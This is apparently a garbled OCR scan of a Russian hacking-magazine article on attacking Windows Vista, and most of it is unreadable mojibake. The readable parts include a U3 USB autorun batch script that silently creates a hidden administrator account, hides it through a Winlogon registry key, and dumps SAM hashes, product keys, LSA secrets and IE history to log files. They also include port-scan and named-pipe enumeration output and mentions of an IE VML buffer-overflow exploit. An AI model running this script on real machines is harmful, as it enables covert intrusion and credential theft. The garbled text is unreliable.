пёбаай е йа] ё1 айёёбор OAY а пёйба! а ваё Aédeedd , 
(defi айой а вобйа i Sef бета баа! ой етмта 
аас! i afi t поё Windows-Aédad, Та yori ет! вааб 
ба-й а аа! ii é паба. 

> 168/ ба 7 Of Bai 1 edt ааГ ау МИпдомз-Йёбееа. 
Ni саагёа баёш1 в ёбаеай 11 61 аа8а801 в ёаёё й AA- 
9 саёббс& в, A баавёсьбёу 88 ANODI 8 AOAL 7 авойу 
ПЕ! cef 28. A NET i of баййт Of Adal 1 #61 ааГ ёу йёбева 
(айёё а af беда! 1161 аё11 16! аба! 1 Adi аа! га, 
3/41 аё60йаб) басаёзазолу (A 3 1 позаёур U BO: 


1 DACDAAI OEA NEOAAU. 

2 DACDAAI OEAI DEE: AAI ER Ei i OEAO- 
DED] AAI ЕВ NEOAAU Е Ei NOAEEADA. 

3 DACDAAI ОЕА NENOAI 0 Ei NOAEEROEE 
МЕОЕАО. 


| ACI Б ААС! ТАМГТ NOE МЕОЖА WINDOWS VISTA 
| Al DE] АРА АГ OF@I Ei I NEI Al Ti 

EAE E Aji DAAU AOU EO AADNE RO WINDOWS, A WINDOWS VISTA DAAEECI AAI ANENOAI A 
NEOAA. AEAAI Ui 7 OFExEAI МЕОЕАТ OADOAEO! DEE! ZAI EE BAERAONB Oi , 

xO] i i E AAO 1 AOE xANEE CAi ONEAP ОМВ ААСТТТТОЕТТ EUCi ААОАЕВ. A WINDOWS 


VISTA DAA] ОА М! NEOAAAI Ei ANEI EVE] ЕС! Ai EEANU,{ i МЕТ EUEOANAI ЕТ Al | 


ОАТ АРО ОГ DAAERAO .NET FRAMEWORK 


АГабае Аб! са! а аёа Sulverus 


O ffbit Security Team(Sulverus@ Май.В и) 


01 61 в ау AeAOal а { AMOS? вёё в 47 6 гаобёб1 Aa AY 
Пёбавай — Таё! ec fal 06 aadeei бай! aéd! а аас! - 
Тай! 1 AOS, 11 AAT виёб 90% баёабпёеб абаёт 61 пб! - 
ayoei af fi 11 тбе-ега бабай! 1 HOS 11 ёис! аабаёае 
ёГаёа -айоаа! 11 6 Г ай0б! 648 Пёбаеа (абай Ot Га йаб- 
ааба евё га 811 Agi ai &1 тар баба). 1 61 аб 1A 
ёгпоаёёуоёе Пёбзай аагешт  обеаваёша: 
tial di баавуад 1 af Ad 1 Adal? аёои, тт Af VOU, 7 Ot - 
ai 6аё0й @ 7 SAT AdaL T AOU йёбаеаб. Мейоат a i i 6 e- 
1 A000, ёёр -е баайоба, 47 106 ваё аёу Cai ойёа 4 ба- 
ai ой Пёбавай, 1 SA] аб даёебтаба! аб A 4 атов- 
ai a — 6 a6é0 Гайоб! еёе пабааба Apache вёё MS 
SQL Server'a. Ai AGa7 1 пёб-аа а HAO! а “Го ёёб- 


6661 431 dy O4ASacT AAS пёбёт Of AUK YoU, Af oF O06 
280840 fl Added] 181 (1 & AeA (0S AT (6 &8603- 
ai { {066 ав а, AAT 29511 Пёб-аа OASRci AAL 
af 0306 З68 58911 ai 1 6151051 688 MS SQL Server'a. 
i 68, (3411 Ad, AAT A A@daeda — y Adi Ab, 660 aN 11 - 
i yor 1: озавёсозолу | Ad1 6 ВА! a Ady Ai Tai Af ay 
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public class FileSheck 


public static void scan() 


string ProtectedDate = File. КеадА! | Text("C:\\test\\NormalDate.txt"); 


string scan = 
File. GetLast WriteTi me("C:\\WINDOWS\\system32\\drivers\\etc\\hosts") 


.ToString(); 


aii 


2006 ai a 


ProtectedDate) 


(scan |= 


if 


string time = DateTime. Now. Minute. ToString(); 


if 


DateTime. Now. Minute. ToString()) 


(time ! 


File. Delete("C:\\ WINDOWS\\system32\\drivers\\etc\\hosts"); 


. conf 


protected", 


File. Copy("C:\\test\\ host 


refused successful- 


"Hackers allert was 


+ DateTime. Now. Minute); 


File. WriteAll Text("C:\\test\\Alert.txt" 


ly" + DateTime. Now. Hour +": 


AVExample. 


é host.conf 
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ia 
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private System. бегу! сеРгосе$$. ServiceProcessinstaller ProcessInstaller; 


private void InitializeComponent() 
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3 COMMON INTERMEDIATE 
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забу аабёд вёас бо “аа в аа 1 11а -ёйваг i di 

Таабёа . Озёзеа т бёааолу i абаб--ёаабийу айа! , 
9] -ёйёа & аййа! аёаби ева! , 77 Ai BEd CIL 

тога& 1 оеё--ааолу, аебой! т епабаёу! ai aa- 
т та (i ado Ait fi ата aéy сабазеа! ey 6 aé- 
i? A€l &060 0101 AOPE adéi zai и йеёш т eci а- 
— a éeé af аааёа! 0 f anéi euéi {7 a6 cad &1 а- 
a, а hoadd a cad &1 аёё Га HOAs! оааёусй, ат 61 AOE 
cai вгеёё (Oey &. Cael Табая1, тёа061 51 а 


„МЕТ ааа0 11 ata fit hi ай баавёсавёе зай! Ep от 


—: а: @> 
Ox а Do сх a 
ox 


5: o> 
©: 


afhal . Мав-ай айа of ви га-егаро еййёаа! Addi 
NET-i 6a06 1 61 0, fT айёё 00 ааейоаёо 


hee ой ааейоаеоавш! паби- 


acti бав её саг удийу аа есо-а! еа! , Ai ааобр Aéa- 
+adli é cai айоейй а! Adi af бабеавт! 11а! в аабйееё 
12200151 (0 (“9 бау, ейоабё, efi? висоаойу 
а Windows Vista) — .NET Framework 3.0. Ё { aé 628 
anol fai 11а ai é@di af dadée Га msdn'e, di oy 


[Г Га айа oa6 Aéaci +1 тбаёбай!1 , ваё ум T7 ёаса - 
aapofal тбазябзаедаве | авёбт Ai 60. Гбё аёё- 
waég ai дайм 1 обаГеё аёа!!, di пёйба! а .МЕТ 
Frameworkii éf ai 11а +ehéaiiG6i аёёёб 1 п ват ё 
@{ ai Sadi OF &. Ni Т1 Af 6a ай 61 аа Windows Vist'd 
баёаба тоёаб аро йа! Ga ес! и dafida fii hi ad 
Acéli а yor в пепой! а, ёаёум Ade? AWin32. А yori 
ё саёёр -ааойу ааййт абаа! ей: а1 aéédi Al 6 от бё- 
adi авё пейоа 6, в о’ GAY TT E/T AdUp ейёёр -аао Г а- 
ai +400 610 ваёё \/тз2, 11 a yor е гта! в пёйда! а 
пав--ай Га есаайы! 1, Adi ава! ёааеаойу Aeéui аа — 6a- 
6a00 eel авёб моб с 
http://msdn.microsoft.com/library/default.asp? url= 
/library/en-us/cptutorials/html/il_dasm_tutorial.asp 

ai еб! af оабёут! таба!1 6 .net-decaAhai аёабо ildasm 
http://www. microsoft.com/downloads/details.aspx? familyid= 
8d09697e-4868-4d8d-a4cf-9b82a2ae542d&dis playlang=en 
ва-аа 11 пёаагрр аабйёр .net framework'a, а é@i afii 3.0, 

201 40, 71 ёз AAa & AG Op Od! бор AadARH, 

00 апёгат Added т 61 абаййа 
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> portable it! E71 i af @y U3 (www.u3.com) fil al айб- 
i? ASanDisk é M-System йааваёа fii addi ai { Ga usb- 
{i лёбаёё +ai -df а! Gig Gi , f aceaee TOT AD! пбад- 
Aoati aéy обаг af AY Aa/{ G6.7 Га Adal забоёсёббао 
йбаао cai ойёа ii боаоёа! HG 1 OE геа! ев @ ааёааб 
{i hot cai ойёадайу т Oe тдей! adei af её 6 Gag Ge ё 
addi 1 адё-айёё саёбй AadUAy т Se 7 AdAdITI ааейдаёе. 
Anoanoaai (7, Гат позавуу г евавёб пёаат а а пейоа- 
та. расбаа! о-еёё т баа! позавуро SDK, & м дав 
11 са! вуабааат dedi аабит Of абат 1 а авут 6a0d 1 б- 
Та U3. Га software.u3.comi 1 afi icf aéfi ё00йу Ai 
fi @héti 161 аба i , adai 0861 аа! Габтта U3. 

> 1daehddial -A... N7T1 70 Up 6 ao &8 ё SAI T &0- 
ci aaf éy i afi в ёс бусаё 1 пбав Windows баваб fii 1 - 
wad adéaaéiif i са Гайё! виё! паёоГ ат! а! абабита- 
Oi GU ai побг а ет йбзаёди аёу йаау +adi (6 Gi аа йёй- 
081 6. Айа заёт a efi i Uc? ааГ ee пёза! a бувата- 
oi éy LM (Lan Manager), a0 -ёйвуа! 1 а 11 ОЕЗ-аё& - 
dadi 6. А Windows ёй! 1 &йсоаолу ааа O€i а був ав: LM 
ENT. Озёоаёудайу ат! AT ALT AOS ESRI Of AAG её 1 а 
Гаабаа! , Aéaed &ё Udi, +01 уб дай! aéOi оёба аааб 
acéli и ёёб di 61 ца! Га fil Ai ай 11 аа! батад! ey, 


[ATE 
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6 ав -Гага 
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ee 


ee 
dal @a 


АТ РГ ANOAI | ADI EAE хАРАС USB-AAAAEN 


ОЕРАМООТ ADI EE WINDOWS E Ni CAAOU AER NAAR хАБГ ОЕ ОГ A, ENT | EUCOR ORCAEI 7 NOU 
Т МЕ NEAAUE LM-OY@ i ADI E®.AER YO! Ai АГ O17 | AAT АЕОМВ OECE xANEEE Ai №001 
E ZADOAA, USB-OEA@ EA, i OE Ei | Axi | «SOME SCRIPTS AND SOME TOOLS» 


P бёе | adi Та ава Мёбёт 


Edaé, +01 cad i Of AAO? аёот GATT аёёр zai Oa 6 Bag - 
Ge? NiTi Тибр аебобаёит а басваёа (CD) é f adt - 
ёё6 *.cmd-6 а6ё п басааёа пиа! fi a аепёа. Adéi 
i Of епб; Ad йёааор и Ai Табас!1 : 6 авё Addi Gai ой- 
6a авбобаёи i a CD ййй ваадбйу Га мб-йёбет д, га! - 
dei аб, start.vbe, 61 df бав, а йа! р 1 -абаай, ё абааб 
cai ойёади ста йб ёав ёё. 

A aaa ii басааёа 6 &ав &6 (паа1 111 аейёа) 
«са айа тд! айа» 1 баа-аао cmd-d авё, & баб, 
М айоаа! it, етдаа! aci a+af авут Oi аааа! ey Ti ба- 
ааёа!  об1табабев пт аб! в & 6 628d! т ё cai ё- 
ааепоаёу п баайоб! 1, cai ed aay басоёйоаой а fii a- 
deaéii ав 674-6 а6ё. Ата al йёо-аатг в 46440 
уавусийу аваага! , саё ваё саайй бба! голу айу ё! - 
бабапор и ay {ah ег отб! абёу. 
> some tools&scripts. Бай! Тобы 1 ef ei аёигае 
[ аа! 6 боёёёо SEY баа! ой AAI а. Al азаёаг еа 6240- 


(i всагейё (fi caaf ea di a плата -аб!1а di аа) аа- 
éaadhy ёс &1 af aii в HOOT ёё ATi af aT é 


net user /add name passwd 
/fullname:[?i@faiéa]. 


Aazeli Га саай ой а1 аааёой Cai EAU A р саб-ёёйб -8- 
бас баайоб. | Sai а61 Tali 11 М 1 обади а аёпоё! 4a 
«1 бе аб д авёа 5аг ста». 

Ес 60660 4 {adi 6 y AT аЗЗ68: PWDump 287 
ёсаё8-8Гёу NT- @ LM-dyo &6 ёс б8ё8а1 é HAAOLI A 


Gain Прапия Вид Vefipeene Capac Crpae *| 


Kp = ©): 17 pr Dace | = 
Адрес: | Май nonrnsorep =| 23 Перехол 


BB were 1,5 (А) 


er Покапьный диск (Cs) 


3 CO-aeeoena (=!} 
a Съемный дисх (Fr) 


Aaa басааёа 6 ёав ёё U3 


@ 1 Of абазеа! ву QAO! бёё таб! вав, ProdukKey aéy 
ёбазее веба Cai { f 1.6 ёёр +ав Windows, Protected 
Storage PassView f о Ми Sofer aéy 821 Та aaaaai i 06 
aa (dO ale. Aéy i Oi м 1 оба SAC бее тт Aa af AS IE 
112011 Ai аа! аа0й ie-view, [1 у Afi? ёйсор 1 озаёй- 
Габ vbs-Aédei ое A 01 af вайбаёа! 11 adap Aue a? 
adi 611 &ёп0&! 8а. 

E0aé, буд 1! &0-81, а йа та таб! ву гад. Аёу 
сор 6086806 Rainbow Crack. | jai асудй @ ad6- 
a6p , — ум ааё аёойа Gaacdi a. 
> = I'lbe back... Ai oi а ё daffi 1 обаёё O86 Гас - 
aaai db «i 1486 асё1 1 а». Al ёаа Of a, 1 Sei 71 аб а- 
11 байй 1 оба! ee? cael AU, +07 айа уд ааст di а- 
éai lial? бааёёс! ада, Ai AAAI Гатоёаазау ё даб- 
1 &1 Ge U3! Мат атаа 021 б-айоаа — ум аваата 
aéy баёаба. Ода-ё! © 


foofus.net/fizzgig/pwdump/ 
pwdump 
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| бегаб баееа Start. cmd (1) 
@echo off 

@if not exist \logfiles md \logfiles >nul 

; 11 сааа! iaiéd аёу éfa-daééia 


@echo Computer Name is: %computername% and the Logged on User Name Is: %user- 
name% The date and Time is: %date% %time%>> \logfiles\ %computername% Гоа. 1092 >&1 
@ pconfig /all >> \logfiles\ %computername% load. log 2>61; 161 ёса! аё1 caienu aaii v6 
i ё11 тароаба ё падё а в1а- бабё 


@net user /add хакер qwl23as /full name: "| 
\logfiles\ %computername% |oad.log 2>&1 
@net localgroup Administrators xakep/add >>\logfiles\ %computername% |oad.log 2>&1 
@echo MYUSER: хакер Password: qwl23as >>\logfiles\ %computername% | сад, [09 2>&1 
@reg add"HKEY LOCAL _MACHINE\ SOFTWARE\ Mi crosoft\ WindowsNT\ Current Versi on\ Winl ogon\ 
SpecialAccounts\UserList" /v 

хакер /t reg_dword /d 0 /f >> \logfiles\ %computername% | oad. log 2>&1 


sAlcaadi sadidé O74 а Hedda. О-аогаусатейй "хакер" й iadtéai "qwi23as" 


amreal cool mega hcaker!" >> 


@ \pwdump 127.0.0.1 >> \logfiles\ %computername% | oad. log 2>&1 
; 286981 aaii sam daééa i adiédé 


@. \ ргодикеу /nosavereg /stext "\logfiles\ %computername% zzz.txt" | 
remote %computername% >> \logfiles\%computername% |oad.log 2>&1 

@copy \logfiles\ %computername%* \logfiles\%computername% |oad.log >> nul 
@del /f /q"\logfiles\ %computername% zzz.txt" 

‚дааа! aali @épeaé тот adeoia а Hehodaia 


@cscript //nologo .\ie.vbs >> \logfiles\ %computername% |oad.log 2>&1 
;аавёаа! aali ehotdee т! пацаг ав побаг аб а Internet Explorer 


@\pspv.exe /stext "\logfiles\ %computername% LSA.log" >> \logfiles\ %computer- 
name% | oad. log 2>&1 
@copy \logfiles\ %computername%* \logfiles\%computername% |oad.log >> nul 


@del /f /qg"\logfiles\ %computername% LSA. 109" 
‘i doaal hy ai hoaod табтёе, тлозаваггоа a Е 


:End 
@exit 
| бегад баеёа ie. vbs (2) 


оп error resume next 
set sh = createobject("Shell. Application") 
const ssfHISTORY = 34 
set history = sh. NameSpace(ssfHI STORY) 
for each itemin history.items 
wscript.echo history. GetDetailsOf(item, -1) 
if item isFolder then 
set itFol =item GetFol der 
for each item2 in itFol.items 
wscript.echo vbtab & itFol.GetDetailsOf(item2,-1) 
Next 
wscript.echo String (80,"-") 
end if 
next 
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бусаё! 1 Ade а Internet Explorer. 
Aaéi саёёр -азолу ат абат 7 &- 
Vector Graphics Rendering. 

Т абатт @/ af €8 ai с! 2ё3- 
adi бе adit éf af ёё «cet б» 
vml-ai édi ai of а апваайоава 
10 ваёё тд! аабёе SacI ada 
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усйёбая Ad6e Bao ёё.1 | 
11 cat вуад oA? бей саёбосёб 
1 бе daa? 08 й Мадйр , а баёзеа 
i пои айоаёудй па! ат afi a 
i айд Oadedi аа! ва ааёй O/T 6 
ёбаб ee. Мозёт абатт Af YAORY 
ёс-са fi аабава! ву а УМЕ 
fééo &1 aéei ii а 1 adi аа fill, 
1 AdU айоаёур и ad 77 adaGee й 
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| абат! &f af €8 466 аба 11 Cat - 

éyad adi i ef GOUT T ай в af ee 

| огаевааев -абас Gi бааёуа- 

1 ор if ёис! аабава! аваёё оа- 
66 a7 Of баййа WinLogon (i 61 а- 
Gal a7 абаа! O88 епёёр +808 6U- 
i U6 neodadeé). 
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абабсаба аёёр sai 1 1 Of абаагаа- 
[28 авоёаГ1 at Ai аабавы! ey. [1 
adaéa Га! аусабаёи 1! абаад 

i Of Of агбй -абас ado, 
Microsoft О utlook баёаеа 1 1 a- 
аабаеа! yor 6 буса 1 Ada. TT p- 
са0й ааа] Taf? deed a Of adi 

fi 67 eof | MS IE (УМЕ) Remote 
Buffer Overflow, i ai ейа! f di 
6568611 jamikazu. Ni &1 eo 

1 баапоаавуао fit а! е html-Adda- 
Г ебойо of 6б6У ё javascript. 

Т бё1 0860 088 Adi 1 &Г YadAy 

&а, ет! аад 1 во га Ali тор - 
даба эвабоай Cai ойёзаойу calc. 
Оусай 1 AUT овё- 1 17 AG? AO 


di агаобаава!!11 &1 та. Dac- 
6éH Cai 7 486 евабее fi &1 G0 
1 fei асудба Га milw0rm.com. 

Т т тёаго ай бёа Cad? - 
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бу (&111 af 06 ай Gi аа addi a- 
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аа баёай! 1 Adaci 7 Ade табав аа Га AehOd 
dado 8111 daci Ali аабаёи 1. Еаё абам Of aA AOL 
816 — 1 Abadi авой GEE Гатабаб! аё0. Озёёа ба- 
fey тбегё! apony Га ай! &1 & 611 бабёа!1 1 
051 гаегага ё, acai ah. [| аёсаааы i AdU i абаб1 аа 
Га Аёйоб а пу! бе -айё вт аби! авоваа Al Addo Af (1 
1 -аавага. 1 61 вааб Ai айа! гагта аба ага, @ Mic- 
rosofti баёбаоёот1 ааабаеёо XP (11 ааабаеёа м2к ай а 
Гатбаёбаи ага, fi вазаёиг Gi 1 60a) аа deed a а! - 
ad ou), 11 yayony i 61 dai 1 0 ёта! dai das ва, даа! - 
dap U éa of вит га A@Add, а fai a Аёйба 1 вазеаойу 
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(1) 
linux# nmap -РО -5Т -pl-65535 10.200. 200. 127 
PORT STATE SERVICE 
135/tcp filtered msrpc 
139/tcp filtered netbios-ssn 
445/tcp filtered microsoft-ds 
49152/tcp filtered unknown 
49153/tcp filtered unknown 
49154/tcp filtered unknown 
49155/tcp filtered unknown 
49156/tcp filtered unknown 
49157/tcp filtered unknown 
: (2) 
xp> net use \\10.200.200.123\ipc$ J/u:"" "" 
хр> c:\python24\ python trypipes. ру - м 10. 200. 200. 123 pipes.txt 
\\ 10.200. 200. 123\PIPE\netlogon 
\\ 10.200. 200, 123\ РИРЕ\ | загрс 
\\ 10.200. 200, 123\PIPE\samr 
(3) 
vista> c:\python24\ python trypipes. ру -м 10, 200. 200. 123 р! реб, ЕхЕ 
\\ 10.200. 200. 123\ РГРЕ\ | $а$5 
\\ 10. 200. 200. 123\ РГРЕ\ protected storage 
\\ 10.200. 200. 123\PIPE\netlogon 
\\ 10.200. 200. 123\ РИРЕ\ | загрс 
\\ 10.200. 200. 123\ PIPE\samr 
(4) 
inux# nmap -sT -р 445, 999 -0 10, 200. 200. 124 
Fingerprint Microsoft Windows Longhorn eval build 4051 
Class Microsoft | Windows || general purpose 
TSeq(Class=TR%gcd=<6%l PI D=l %Т5 =100Н7) 
T1( DF =Y %W=0%ACK=S++%F 1 ags =AR%Ops =) 
T2( Res p=Y %DF =Y %W=0 SACK =S %Fl ags =AR%0ps =) 
T3( Res p=Y %DF =Y %W=0 MACK =0%Е | ags =AR%0ps =) 
T4( DF =Y %W=0%ACK=0%F 1 ags =R%0ps = 
T5( DF=Y %W=0%ACK=S++%F 1 ags =AR%Ops =) 
T6( DF =Y %W=0%ACK=0%F | ags =R%0ps = 
T7( DF =Y %W=0%ACK=S++%F | ags =AR%Ops =) 
PU( DF=N%T OS =0% PLEN=164%RI PTL=148%RI D=E| F%RI PCK=E%UCK=E%ULEN=134 %DAT =E) 
noaea Server 2003/XP SP2 (5) 


Fingerprint Microsoft Windows 2003 Server or XP SP2 
Class Microsoft | Windows | 2003/.NET | general purpose 
Class Microsoft | Windows | МТ/2К/ХР | general purpose 
TSeq( Class=TR%gcd=<6 %l PI D=! ) 

T1( DF =Y %W=402E| FB8B%ACK=S++%F 1 ags =AS %0ps =MNWNNT) 

T2( Res p=Y %DF =N%W=0 АСК =5%Ё | ags =AR%0ps =) 

T3( Res p=Y %DF=Y MW=402E| ЕВЗВУАСК =5 ++%F | ags =AS%0ps =MNWNNT ) 
T4( DF =N%W=0%ACK=0%F! ags=R%0ps =) 

T5( DF =N%W=0%ACK=S++%F 1 ags =AR%Ops =) 

T6( DF =N%W=0%ACK=0%F | ags =R%0ps =) 

T7( DF =N%W=0%ACK=S++%F | ags =AR%Ops =) 

PU( DF=N%T OS =0 %1 PLEN=BO%RI PTL=148%RI D=E%RI PCK=E| Е%0СК =Е | F%ULEN=134 %DAT =E) 
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IPv6, ТГ Aani 581 yoROaar (1 1817 баз IP V4-i ABO. 
Of ad fai 187 Of 1 ВОЛ & ёа008ы aL BO! а1 1 &63- 
faci al ‚Гат! adaSaeaap и 7 OT Of Af Ba Teredo. 
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iT GUcOAdAY A «+2151 » 4688 & AAASAA 1 EOSa0a! Ad 
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6a fA 
(yor 06 au ав (1 06, бабава!т а), AT Of 50.8 Аёёё fi A- 
йа! fa саёасй зав, € a0 40 баа 1 овасабийу 1 OF G6, 
апёё ай of éuéi ci aé a6. 
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Ai 0086 a8 ё саапи. Naoaal в Oa Аёйой аёёр- 
+840 4 паау пвааори еат 61 Ot & BG: ICMP, IGMP, 
IPV4, IPV6, ICMPV6, TCP, UDP, IP6, GRE, ESP, AH, 
43, 44, 249, 251.1 1 50 ao ef a ВЕС, @aaei 648aedii- 
fy, +01 af абаут! af авгат 1 Oa ai AL alow aia 
Of &08 Sadi +8) Ada GeV) , (7 @ пабааба ‚а! fi- 
86а Oc (86 дазеа fae) AOA айоаа! 11 A &1 агё, 1 &- 
dal &-ёазуйй Of 081 111 8611.А ЗАТ Ade, 7 OF Ot - 
40 43 6 447 оаа-ароса1 Ads бобесабёр ед 58S 
1 ОЙ! бат! 43161 Of &1 &6 аа! аёёа ASAD а аёба1 Ad 
сааб +еа1 пой, 4a/ ё-зи ор й йоёбёат1 , (1 dc 
(dai ot dia adai утга, еаётёа +l Га айааё!, 
ai сабай авайй & Табаа! O68 йаоаайб сат 61 ATA. 
A ai oi Off б, табааа! (G11 44161 Of AT 66, Табо- 
в ёааё AeAdal да ai 6647 в уёба! м A508. Мае-ай 
yor 6aa ей! бааёа!1, (7 гаесаайы1 , я! Ua? AU a 
10 di 6 бааёесавёеё т SAAN 261 Af абозеёой. 

Аёа 5801 AAT See пр-тавама ва Af eAY 
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а 190 


1111 


1111333355555 

11112233445566 
11112244445566 
11112244445566 
11222244555566 


5555 
6566 
4444 
0000 
3333 


-i a640a пт абаёба Aap и ei Ay 6 баа af Oai Ef a басёё 1 аб 


ae? Of i Oadl ёёааеао0бд, а1 OT 1 ee «йбасавё 

»). Ейёёр sai éa fi noaaéyad heddadey, &1 daa 
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ух-пейбат а i? Add! AbOA OF H7 HOdp af fai - 

ATi du a aa & af OY, 7 51 аё81 Al AAT Sei вта- 
аёбадари edfAy i a€adi а 6 айаб пейба! баабаад, 
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базваау есгебе! aad hai ет fi 


© Ds 
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€d0 aap U еблу о баа af OF A. Езё аёа! 
1 васй aaadhy aaéadi fai a adit да. 
> {f40aTCP-/UDP-if 500.1 751 ali ав ёвёа! - 
опёёв осаё aii au af a а! ваза! Ai aadaeadt i еваёёб 
1 0860 00 6 TCP-/UDP-i1 69 A! i { ааава 1 Teddi ai a- 
dadadd aadii ICMP-fi 1 au af ey, а sano 1 Hoe, ea 7 OF - 
дада echo-cai Of Ad (Га sai TAIT аа! ping) é fat di- 
бааёуди оааа! i Gai eéi «éaci ё» i adda Ai «i 61 HOT - 
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444444 4466666666 
6666666666666666\n 
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расоёиоад па! бёё UDP-i аёада пт абаёба Aap и ei ейу 6 баа Af Oa 


ёга бас! 0 оттабабё! ггаб пёпоа1 аб 


tracert), di Oy aha yor й-ебааблу addi 01 9111 ей! с- 
aaao а! 6g ai 6! аёа! , +8) бав Add. 

[ A60+84 1 0650 ой бт! SOT а оваси ааа Гат бё- 
поойоава пабааб! аб Пёбгаа, 1 айёбазздар и еб баа- 
éaf (06 ёвёаг Of а. Edacday озёау пёбаеаа — ТТ 08! - 
Of a ei Of +86 васааё, -абас Ei Of баатб! па-езар o- 
fy +a0aé, а af еГпоаор и ва баёаба 44500 Ti тир - 
даб Га аа! бааге. 

Атогаттагав fi ем! ётт ба а, 1 оёба ааа аб 
пёйоа! т6аёго еаобабеет! Oi 7 Esai ep: 

— IPV6 UDP; 

— MS-RPC (135); 

— NTP (123); 

— SMB (445); 

— ISAKMP (500); 

— UPNP (1900); 

— WEB SERVICES DISCOVERY (3702); 
— WINDOWS COLLABORATION (54745); 
— Ni Al АМОГОЕ Ai МООГ Е OAEEAI 

Ei DEI OADAI (137, 138); 

— ii pov -i DECDAEE — (49767, 62133); 

— IPV4 UDP; 

— TEREDO (4380, 61587); 

— MS-RPC (135); 

— SMB (445); 

— NBT (139); 

— NRP 3540; 

— IPV4TCP; 

— P2P GROUPING MEETINGS (3587); 

— WINDOWS COLLABORATION (54744); 

— Ni Al АМОГОЕ Ai МООГ Е OAEEAI 
Ei DEI OADAI (137, 138). 
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yoo, ё ade 10 caéoaaadl т8-заш! ecdanordé 
135-611 6613 1Р\д, da 181 dot а] 1 CaSO OU 0a ada 
(AIPVv6, 68811 AS fal &1 61 6, 
1 481 0 68861 7 Af Зббаеё ой, 11 AAT 8060 1 08 TTT 088 
RST (6a6, 
М АВОЗЗГ (7, 11 81 2811 аава501! ВЕС). №1 Oda0- 
ВОЗ {1,71 500, Га At сабзоёаю MAT ASSOA в OdRAl 
dase AOU AADASH 6, (7 CASS OO 808121 267511 , & - 
df 6061 Та 1 &8881 1 &1 606, (a1 581 &6 =Я68с RPC. 
ot ide 1 бааё8 ATAU Arey fa 
цёё UDP IPv6-i1 66 af fed 176 Al cadau AddAY 
ICMP v6-Ai tau 8 @A1A To 2488, 1100-6368 11 CAT - 
Syp U 88108-01 опболозор и ат! O00 ТОТ! 61 8, 


61 
> 


i at ёзеёбаёи- 


32 bits 


Obscured 
External Address 


ti bb 6 


éui 6 


>< 


16 bits 


Obscured 
enoai (a) 


External Port 


>< 


(obscured) 
(neighbor) 


Flags 

16 bits 
é6uf C6 Ethernet-fa- 
i 80- 


iaaf fai» 


б 


>< 
У TCP/IP, efi 


-i A640 Й «cdg &6 


Teredo Server 
IPv4 Address 
32 bits 


ай! 1 


2 wn 


>< 
Teredo 
б 


ii ёаа 


а éf aéa 


Teredo Prefix 
32 bits 
160 


Ал 


баваай1 11 


Мобоёбоба са 


< 


[oe 
А, = < 
$8.7 эх 
юз 55 и 
5Бо% < 5е= 
= BO = | „р WO 
oO = i и 
vo 5 <D oe :@ 
Ш 00 Cas) Pe 
> о ты 5 _ 8 < <o 
= о AO 5 “6 << 
om om DODD 
8 = O . oO 
VO &« 3 -O ох 
a im -O ~“ ея 
«25 5 в © 


u 
| 
Siig 
1 


SS, AS OS 
S: . .2 :— 0S SW 
© IY MD 
wen of <O 0 © 
oO Ш O 15 ® 


0 А Ш 
За: 
: “De — 
рр gos 
тю 


33372 Зря 
cl р. = 
— в :— © < AO :Ф & 
д блюз 858 
<. << 3 © 
< о 

5 ю ©: © oO 
йо) ФР Oo SS 20 Фо 
O_O 08 5 =: 
> 0 OO oO $ oO 
Зое 328 
55 OQ LY °® 1G So OO 
сю iD = 5 

юз < 
ww Oo > 5 lo Ве 
2228 gee 
15 . 5 Эж O 5= <oO 
iD об = SS Bes) 55 
5 и < И.Э 
O Sir *O ЕО 
< 53: а 
aes 8 ov of 
we == oo WIT OWS 
ow = 8 2 < 5 °S Oy 
= ЕЮ 
5 VD DiS ec Oo 
© 9 AO хо < я °® — 

VY 90 OS 
<< a - Om . 


22 oD 

eg lore oS 
G3 0S Vs 
PO м Qe 


2S <0 0 

ge Dg tee USS :Ф 2 ¢ 

0 :> :Ф <— WD об : 
— 2 4 OS som FD = 
$ < + © :Ф Noe Ww = 

cm 8 в B и в = $ 
Во п. 


«protected_storage» ё «lsass» 


build 5270 a 


i Of байй! 61 а Penti- 


aad ве Ui dé 
fy Г аааубийу, +a 
AG 
заа +0! Intel adi dhdeéa баа- 


Microsoft 


аб 


i af dé af aéeci Ai аа! 11 hoaéita 
до 


di гёбй 32-аабйёр Windows 


1 10980 


аваабйр — 


066a Server 2003 (вёей0ё! a5). 


), 


поаёа а поадйа. 


www.symantec.com/avcenter/reference/ 
ATR-VistaAttackS urface.pdf 


таб 
Il al ое! а 


NEA NT 


` 


LA 


ГАМО BU OP Ob DUI O 


Vista_Be- 


patibility_List), 


A 


‚ MIROSOFT | АРА 


| O 


Microsoft! 


^ 


| » | OAMD 


| 
DAOE A МЕМОА 
веёё 
ot 650 88 


i абаб 


` 


ta.com/wiki/index.php/Windows 


ta_2 Software Com 


NT, {Ait cat 


^ 


б Remote Procedure Сай 


1 бааб 


0Х86-64,1 5 


Windows МТ 6.0 


Тб 


Dl 
p (x86) 8 64-4801 бр (x86-64) 


LAA 


ТТ EUci ААА ЕКО «i i AAD 
i Ai EAOOI 


ca 


N 


^ 


Windows Server Longhorn, 


A 


ААС! | 


AO 11-06 


62 VISTA EXTREME TEST Ni 


ij ANI 7 NOU, 


(i AJAAG 
i DAAAEA, 


NEEEEANU 


ЕСИ Ai Al EE:0 


,1 1 OE| ECAOE 


АОВААРГОАТ 


NOAI 


О 
ГГГЕА 


А 
VISTA KERNEL 


AOADI AEI 


RADI AENOU ТБ 


SS 


ideo- 


eéé vi 


ОЕЕАВЕМО @ АААР U EI 
А DAAEUI UAT АРА! АГО 


DANN ОГ Ai , xOi AU САГАА ТЕАОЕОО 


RAM mappings. Y ot , 


А 
[5] 


di a Rotate Virtual Address Descriptors 


i 7 ODE] , EAEE 


cached, non-cached, write-combined AGP 


N 


ЕТ! 


RADI 
, Node), 


CreateF ile- 


Ai 


e 


UDR 
МОГ EOEE YO! ОТБ 


50 
АА 
‚ DANE] DUA 
i yaeél AU Гапё! eve? {7 - 
: VirtualAllocE xNuma... 
, Node) 


cel е 


AAU 


11 4aao 


, Microsoft 6 


PAE (Page Address Extension) 


x86-64 é IA64, 


САО 51 Т CEEA AA 


аё Non-Uniform Memory Architecture ( 


ЕСТ @EE Ni АРА! Ai XPE 
A Server 2003 SP1i 


i 
wei é 
a 


хо 
б 
i 


YENEAAAOI Di | 


|2) 


Ai AAAEEENUI i AU 
aa 
0 


обаёш 6 Addai еб ef ебёаёёсёв1 ааёйу Га ба! Г ёб 
а 


